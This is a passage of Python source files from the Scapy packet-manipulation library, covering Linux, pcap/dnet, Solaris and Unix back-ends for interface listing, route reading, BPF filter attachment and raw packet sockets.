os.popen("tcpdump -V 2> /dev/null") as _f: if _f.close() >> 8 == 0x7f: log_loading.warning("Failed to execute tcpdump. Check it is installed and in the PATH") TCPDUMP=0 else: TCPDUMP=1 del(_f) def get_if_raw_hwaddr(iff): return struct.unpack("16xh6s8x",get_if(iff,SIOCGIFHWADDR))[1] def get_if_raw_addr(iff): try: return get_if(iff, SIOCGIFADDR)[20:24] except IOError: return b"\0\0\0\0" def get_if_list(): try: f=open("/proc/net/dev","r") except IOError: warning("Can't open /proc/net/dev !") return [] lst = [] f.readline() f.readline() for l in f: lst.append(l.split(":")[0].strip()) f.close() return lst def get_working_if(): for i in get_if_list(): if i == LOOPBACK_NAME: continue ifflags = struct.unpack("16xH14x",get_if(i,SIOCGIFFLAGS))[0] if ifflags & IFF_UP: return i return LOOPBACK_NAME # XXX We generate the filter on the interface conf.iface def attach_filter(s, bpf_filter, iface): # because tcpdump open the "any" interface and ppp interfaces # in cooked mode. As we use them in raw mode, the filter will not # work... one solution could be to use "any" interface and translate # the filter from cooked mode to raw mode # mode if not TCPDUMP: return try: f = os.popen("%s -i %s -ddd -s 1600 '%s'" % (conf.prog.tcpdump, conf.iface if iface is None else iface, bpf_filter)) except OSError as msg: log_interactive.warning("Failed to execute tcpdump: (%s)") return lines = f.readlines() if f.close(): raise Scapy_Exception("Filter parse error") nb = int(lines[0]) bpf = b"" for l in lines[1:]: bpf += struct.pack("HBBI",*[int(x) for x in l.split()]) # XXX. Argl! We need to give the kernel a pointer on the BPF, # python object header seems to be 20 bytes. 36 bytes for x86 64bits arch. bpf_buf = ctypes.create_string_buffer(bpf) class BpfProgram(ctypes.Structure): _fields_ = [ ("bf_len", ctypes.c_int), ("bf_insn", ctypes.POINTER(type(bpf_buf))) ] #if scapy.arch.X86_64: # bpfh = struct.pack("HL", nb, id(bpf)+36) #else: # bpfh = struct.pack("HI", nb, id(bpf)+20) bpfh = BpfProgram(nb, ctypes.pointer(bpf_buf)) s.setsockopt(SOL_SOCKET, SO_ATTACH_FILTER, bpfh) def set_promisc(s,iff,val=1): mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"") if val: cmd = PACKET_ADD_MEMBERSHIP else: cmd = PACKET_DROP_MEMBERSHIP s.setsockopt(SOL_PACKET, cmd, mreq) def read_routes(): try: f=open("/proc/net/route","rb") except IOError: warning("Can't open /proc/net/route !") return [] routes = [] s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",LOOPBACK_NAME.encode('utf-8'))) addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl(s, SIOCGIFNETMASK,struct.pack("16s16x",LOOPBACK_NAME.encode('utf-8'))) msk = socket.ntohl(struct.unpack("I",ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I",ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) else: warning("Interface lo: unkown address family (%i)"% addrfamily) for l in f.readlines()[1:]: iff,dst,gw,flags,x,x,x,msk,x,x,x = l.split() flags = int(flags,16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",iff)) except IOError: # interface is present in routing tables but does not have any assigned IP ifaddr="0.0.0.0" else: addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) else: warning("Interface %s: unkown address family (%i)"%(iff, addrfamily)) continue routes.append((socket.htonl(int(dst,16))&0xffffffff, socket.htonl(int(msk,16))&0xffffffff, scapy.utils.inet_ntoa(struct.pack("I",int(gw,16))), iff.decode('utf-8'), ifaddr)) f.close() return routes ############ ### IPv6 ### ############ def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'ifcace'. This is the list of all addresses of all interfaces available on the system. """ ret = [] try: f = open("/proc/net/if_inet6","rb") except IOError as err: return ret l = f.readlines() for i in l: # addr, index, plen, scope, flags, ifname tmp = i.split() addr = struct.unpack('4s4s4s4s4s4s4s4s', tmp[0]) addr = scapy.utils6.in6_ptop(b':'.join(addr).decode('ascii')) ret.append((addr, int(tmp[3], 16), tmp[5].decode('ascii'))) # (addr, scope, iface) f.close() return ret def read_routes6(): try: f = open("/proc/net/ipv6_route","r") except IOError as err: return [] # 1. destination network # 2. destination prefix length # 3. source network displayed # 4. source prefix length # 5. next hop # 6. metric # 7. reference counter (?!?) # 8. use counter (?!?) # 9. flags # 10. device name routes = [] def proc2r(p): ret = struct.unpack('4s4s4s4s4s4s4s4s', p.encode('ascii')) ret = b':'.join(ret) return scapy.utils6.in6_ptop(ret.decode('ascii')) lifaddr = in6_getifaddr() for l in f.readlines(): d,dp,s,sp,nh,m,rc,us,fl,dev = l.split() fl = int(fl, 16) if fl & RTF_UP == 0: continue if fl & RTF_REJECT: continue d = proc2r(d) ; dp = int(dp, 16) s = proc2r(s) ; sp = int(sp, 16) nh = proc2r(nh) cset = [] # candidate set (possible source addresses) if dev == LOOPBACK_NAME: if d == '::': continue cset = ['::1'] else: #devaddrs = filter(lambda x: x[2] == dev, lifaddr) devaddrs = [ x for x in lifaddr if x[2] == dev ] cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs, LOOPBACK_NAME) if len(cset) != 0: routes.append((d, dp, nh, dev, cset)) f.close() return routes def get_if(iff,cmd): s=socket.socket() ifreq = ioctl(s, cmd, struct.pack("16s16x",bytes(iff,'utf-8'))) s.close() return ifreq def get_if_index(iff): return int(struct.unpack("I",get_if(iff, SIOCGIFINDEX)[16:20])[0]) if os.uname()[4] == 'x86_64': def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") s,us = struct.unpack("QQ",ts) return s+us/1000000.0 else: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "12345678") s,us = struct.unpack("II",ts) return s+us/1000000.0 def _flush_fd(fd): if type(fd) is not int: fd = fd.fileno() while 1: r,w,e = select([fd],[],[],0) if r: os.read(fd,MTU) else: break class L3PacketSocket(SuperSocket): desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.type = type self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if iface: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) if promisc is None: promisc = conf.promisc self.promisc = promisc if self.promisc: if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] for i in self.iff: set_promisc(self.ins, i) def close(self): if self.closed: return self.closed=1 if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 2 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface sdto = (iff, self.type) self.outs.bind(sdto) sn = self.outs.getsockname() ll = lambda x:x if type(x) in conf.l3types: sdto = (iff, conf.l3types[type(x)]) if sn[3] in conf.l2types: ll = lambda x:conf.l2types[sn[3]]()/x try: sx = bytes(ll(x)) x.sent_time = time.time() self.outs.sendto(sx, sdto) except OSError as msg: x.sent_time = time.time() # bad approximation if conf.auto_fragment and msg.errno == 90: for p in x.fragment(): self.outs.sendto(bytes(ll(p)), sdto) else: raise class L2Socket(SuperSocket): desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) self.ins.bind((iface, type)) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = self.ins self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) sa_ll = self.outs.getsockname() if sa_ll[3] in conf.l2types: self.LL = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: self.LL = conf.l3types[sa_ll[1]] else: self.LL = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],self.LL.name)) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None try: q = self.LL(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise q = conf.raw_layer(pkt) q.time = get_last_packet_timestamp(self.ins) return q class L2ListenSocket(SuperSocket): desc = "read packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0): self.type = type self.outs = None self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if iface is not None: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] if self.promisc: for i in self.iff: set_promisc(self.ins, i) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) def close(self): if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[3] in conf.l2types : cls = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2ListenSocket") conf.L3socket = L3PacketSocket conf.L2socket = L2Socket conf.L2listen = L2ListenSocket conf.iface = get_working_if() scapy-0.23/scapy/arch/pcapdnet.py000066400000000000000000000453311320561231000167600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet sending and receiving with libdnet and libpcap/WinPcap. """ import time,struct,sys,socket if not sys.platform.startswith("win"): from fcntl import ioctl from scapy.data import * from scapy.config import conf from scapy.utils import warning from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception import scapy.arch if conf.use_dnet: try: from .cdnet import * except OSError as e: if conf.interactive: log_loading.error("Unable to import libdnet library: %s" % e) conf.use_dnet = False else: raise if conf.use_winpcapy: try: from .winpcapy import * def winpcapy_get_if_list(): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = [] if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: ret.append(p.contents.name.decode('ascii')) p = p.contents.next return ret finally: pcap_freealldevs(devs) except OSError as e: if conf.interactive: log_loading.error("Unable to import libpcap library: %s" % e) conf.use_winpcapy = False else: raise # From BSD net/bpf.h #BIOCIMMEDIATE=0x80044270 BIOCIMMEDIATE=-2147204496 class PcapTimeoutElapsed(Scapy_Exception): pass if conf.use_netifaces: try: import netifaces except ImportError as e: log_loading.warning("Could not load module netifaces: %s" % e) conf.use_netifaces = False if conf.use_netifaces: def get_if_raw_hwaddr(iff): if iff == scapy.arch.LOOPBACK_NAME: return (772, '\x00'*6) try: s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr'] return struct.pack('BBBBBB', *[ int(i, 16) for i in s.split(':') ]) except: raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff) return l def get_if_raw_addr(ifname): try: s = netifaces.ifaddresses(ifname)[netifaces.AF_INET][0]['addr'] return socket.inet_aton(s) except Exception as e: return None def get_if_list(): #return [ i[1] for i in socket.if_nameindex() ] return netifaces.interfaces() def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'ifcace'. This is the list of all addresses of all interfaces available on the system. """ ret = [] interfaces = get_if_list() for i in interfaces: addrs = netifaces.ifaddresses(i) if netifaces.AF_INET6 not in addrs: continue for a in addrs[netifaces.AF_INET6]: addr = a['addr'].split('%')[0] scope = scapy.utils6.in6_getscope(addr) ret.append((addr, scope, i)) return ret elif conf.use_winpcapy: def get_if_raw_hwaddr(iff): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = b"\0\0\0\0\0\0" if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: if p.contents.name.endswith(iff.encode('ascii')): a = p.contents.addresses while a: if hasattr(socket, 'AF_LINK') and a.contents.addr.contents.sa_family == socket.AF_LINK: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_dl)) ret = bytes(val.contents.sdl_data[ val.contents.sdl_nlen : val.contents.sdl_nlen + val.contents.sdl_alen ]) a = a.contents.next break p = p.contents.next return ret finally: pcap_freealldevs(devs) def get_if_raw_addr(iff): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = b"\0\0\0\0" if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs while p: if p.contents.name.endswith(iff.encode('ascii')): a = p.contents.addresses while a: if a.contents.addr.contents.sa_family == socket.AF_INET: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_in)) ret = bytes(val.contents.sin_addr[:4]) a = a.contents.next break p = p.contents.next return ret finally: pcap_freealldevs(devs) get_if_list = winpcapy_get_if_list def in6_getifaddr(): err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() ret = [] if pcap_findalldevs(byref(devs), err) < 0: return ret try: p = devs ret = [] while p: a = p.contents.addresses while a: if a.contents.addr.contents.sa_family == socket.AF_INET6: ap = a.contents.addr val = cast(ap, POINTER(sockaddr_in6)) addr = socket.inet_ntop(socket.AF_INET6, bytes(val.contents.sin6_addr[:])) scope = scapy.utils6.in6_getscope(addr) ret.append((addr, scope, p.contents.name.decode('ascii'))) a = a.contents.next p = p.contents.next return ret finally: pcap_freealldevs(devs) elif conf.use_dnet: intf = dnet_intf() def get_if_raw_hwaddr(iff): return intf.get(iff)['link_addr'] def get_if_raw_addr(iff): return intf.get(iff)['addr'] def get_if_list(): return intf.names def in6_getifaddr(): ret = [] for i in get_if_list(): for a in intf.get(i)['addr6']: addr = socket.inet_ntop(socket.AF_INET6, a) scope = scapy.utils6.in6_getscope(addr) ret.append((addr, scope, i)) return ret else: log_loading.warning("No known method to get ip and hw address for interfaces") def get_if_raw_hwaddr(iff): "dummy" return b"\0\0\0\0\0\0" def get_if_raw_addr(iff): "dummy" return b"\0\0\0\0" def get_if_list(): "dummy" return [] def in6_getifaddr(): return [] if conf.use_winpcapy: from ctypes import POINTER, byref, create_string_buffer class _PcapWrapper_pypcap: def __init__(self, device, snaplen, promisc, to_ms): self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) self.iface = create_string_buffer(device.encode('ascii')) self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf) self.header = POINTER(pcap_pkthdr)() self.pkt_data = POINTER(c_ubyte)() self.bpf_program = bpf_program() def next(self): c = pcap_next_ex(self.pcap, byref(self.header), byref(self.pkt_data)) if not c > 0: return ts = self.header.contents.ts.tv_sec #pkt = "".join([ chr(i) for i in self.pkt_data[:self.header.contents.len] ]) pkt = bytes(self.pkt_data[:self.header.contents.len]) return ts, pkt def datalink(self): return pcap_datalink(self.pcap) def fileno(self): if sys.platform.startswith("win"): error("Cannot get selectable PCAP fd on Windows") return 0 return pcap_get_selectable_fd(self.pcap) def setfilter(self, f): filter_exp = create_string_buffer(f.encode('ascii')) if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 0, -1) == -1: error("Could not compile filter expression %s" % f) return False else: if pcap_setfilter(self.pcap, byref(self.bpf_program)) == -1: error("Could not install filter %s" % f) return False return True def setnonblock(self, i): pcap_setnonblock(self.pcap, i, self.errbuf) def send(self, x): pcap_sendpacket(self.pcap, x, len(x)) def close(self): pcap_close(self.pcap) open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs) class PcapTimeoutElapsed(Scapy_Exception): pass class L2pcapListenSocket(SuperSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None): self.type = type self.outs = None self.iface = iface if iface is None: iface = conf.iface if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc self.ins = open_pcap(iface, 1600, self.promisc, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter: self.ins.setfilter(filter) def close(self): self.ins.close() def recv(self, x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = None while pkt is None: pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if scapy.arch.WINDOWS and pkt is None: raise PcapTimeoutElapsed try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2pcapListenSocket") conf.L2listen = L2pcapListenSocket class L2pcapSocket(SuperSocket): desc = "read/write packets at layer 2 using only libpcap" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): sx = bytes(x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.ins.send(sx) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): self.ins.close() if hasattr(self, "outs"): self.outs.close() class L3pcapSocket(L2pcapSocket): #def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): # L2pcapSocket.__init__(self, iface, type, filter, nofilter) def recv(self, x = MTU): r = L2pcapSocket.recv(self, x) if r: return r.payload else: return def send(self, x): cls = conf.l2types[1] sx = bytes(cls()/x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.ins.send(sx) conf.L2socket=L2pcapSocket conf.L3socket=L3pcapSocket if conf.use_winpcapy and conf.use_dnet: class L3dnetSocket(SuperSocket): desc = "read/write packets at layer 3 using libdnet and libpcap" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.iflist = {} self.intf = dnet_intf() if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface ifs,cls = self.iflist.get(iff,(None,None)) if ifs is None: iftype = self.intf.get(iff)["type"] if iftype == INTF_TYPE_ETH: try: cls = conf.l2types[1] except KeyError: warning("Unable to find Ethernet class. Using nothing") ifs = dnet_eth(iff) else: ifs = dnet_ip() self.iflist[iff] = ifs,cls if cls is None: #sx = str(x) sx = bytes(x) else: sx = bytes(cls()/x) x.sent_time = time.time() ifs.send(sx) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt.payload def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv() self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): self.ins.close() if hasattr(self, "outs"): self.outs.close() class L2dnetSocket(SuperSocket): desc = "read/write packets at layer 2 using libdnet and libpcap" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) self.outs = dnet_eth(iface) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): self.ins.close() if hasattr(self, "outs"): self.outs.close() conf.L3socket=L3dnetSocket conf.L2socket=L2dnetSocket scapy-0.23/scapy/arch/solaris.py000066400000000000000000000005631320561231000166340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customization for the Solaris operation system. """ # IPPROTO_GRE is missing on Solaris import socket socket.IPPROTO_GRE = 47 LOOPBACK_NAME="lo0" from unix import * scapy-0.23/scapy/arch/unix.py000066400000000000000000000122451320561231000161430ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Common customizations for all Unix-like operating systems other than Linux """ import sys,os,struct,socket,time from subprocess import check_output from fcntl import ioctl from scapy.error import warning import scapy.config import scapy.utils import scapy.utils6 import scapy.arch scapy.config.conf.use_winpcapy = True scapy.config.conf.use_netifaces = True scapy.config.conf.use_dnet = True from .pcapdnet import * ################## ## Routes stuff ## ################## def read_routes(): if scapy.arch.SOLARIS: f=check_output(["netstat", "-rvn"], universal_newlines = True) # -f inet elif scapy.arch.FREEBSD: f=check_output(["netstat", "-rnW"], universal_newlines = True) # -W to handle long interface names else: f=check_output(["netstat", "-rn"], universal_newlines = True) # -f inet ok = False routes = [] pending_if = [] for l in f.split('\n'): l = l.strip() if l.find("----") >= 0: # a separation line continue if not ok: if_index = [ l.split().index(i) for i in ['Iface', 'Netif', 'Interface', 'Device'] if i in l.split()] if if_index: ok = True if_index = if_index[0] continue if not l: break if scapy.arch.SOLARIS: lspl = l.split() if len(lspl) == 10: dest,mask,gw,netif,mxfrg,rtt,ref,flg = lspl[:8] else: # missing interface dest,mask,gw,mxfrg,rtt,ref,flg = lspl[:7] netif=None else: rt = l.split() dest,gw,flg = rt[:3] netif = rt[if_index] if flg.find("Lc") >= 0: continue if dest == "default": dest = 0 netmask = 0 else: if scapy.arch.SOLARIS: netmask = scapy.utils.atol(mask) elif "/" in dest: dest,netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0"*(3-dest.count(".")) dest = scapy.utils.atol(dest) if not "G" in flg: gw = '0.0.0.0' if netif is not None: ifaddr = scapy.arch.get_if_addr(netif) routes.append((dest,netmask,gw,netif,ifaddr)) else: pending_if.append((dest,netmask,gw)) # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest,netmask,gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask,gw_if,gw_if_addr, = 0,None,None for rtdst,rtmask,_,rtif,rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr if gw_if: routes.append((dest,netmask,gw,gw_if,gw_if_addr)) else: warning("Did not find output interface to reach gateway %s" % gw) return routes ############ ### IPv6 ### ############ def read_routes6(): f = os.popen("netstat -rn -f inet6") ok = False mtu_present = False prio_present = False routes = [] lifaddr = in6_getifaddr() for l in f.readlines(): if not l: break l = l.strip() if not ok: if l.find("Destination") >= 0: ok = 1 mtu_present = l.find("Mtu") >= 0 prio_present = l.find("Prio") >= 0 continue # gv 12/12/06: under debugging if scapy.arch.NETBSD or scapy.arch.OPENBSD: lspl = l.split() d,nh,fl = lspl[:3] dev = lspl[5+mtu_present+prio_present] expire = None else: # FREEBSD or DARWIN d,nh,fl,dev = l.split()[:4] if [ x for x in lifaddr if x[2] == dev] == []: continue if 'L' in fl: # drop MAC addresses continue if 'link' in nh: nh = '::' cset = [] # candidate set (possible source addresses) dp = 128 if d == 'default': d = '::' dp = 0 if '/' in d: d,dp = d.split("/") dp = int(dp) if '%' in d: d,dev = d.split('%') if '%' in nh: nh,dev = nh.split('%') if scapy.arch.LOOPBACK_NAME in dev: if d == '::' and dp == 96: #Do not use ::/96 deprecated IPV4 mapping address continue cset = ['::1'] nh = '::' else: devaddrs = [ x for x in lifaddr if x[2] == dev ] cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs, scapy.arch.LOOPBACK_NAME) if len(cset) != 0: routes.append((d, dp, nh, dev, cset)) f.close() return routes scapy-0.23/scapy/arch/windows/000077500000000000000000000000001320561231000162745ustar00rootroot00000000000000scapy-0.23/scapy/arch/windows/__init__.py000077500000000000000000000466161320561231000204250ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customizations needed to support Microsoft Windows. """ import os,re,sys,socket,time, itertools import subprocess as sp from glob import glob from scapy.config import conf,ConfClass from scapy.error import Scapy_Exception,log_loading,log_runtime from scapy.utils import atol, itom, inet_aton, inet_ntoa, PcapReader from scapy.base_classes import Gen, Net, SetGen import scapy.plist as plist from scapy.sendrecv import debug, srp1 from scapy.layers.l2 import Ether, ARP from scapy.data import MTU, ETHER_BROADCAST, ETH_P_ARP conf.use_winpcapy = True from scapy.arch import pcapdnet from scapy.arch.pcapdnet import * 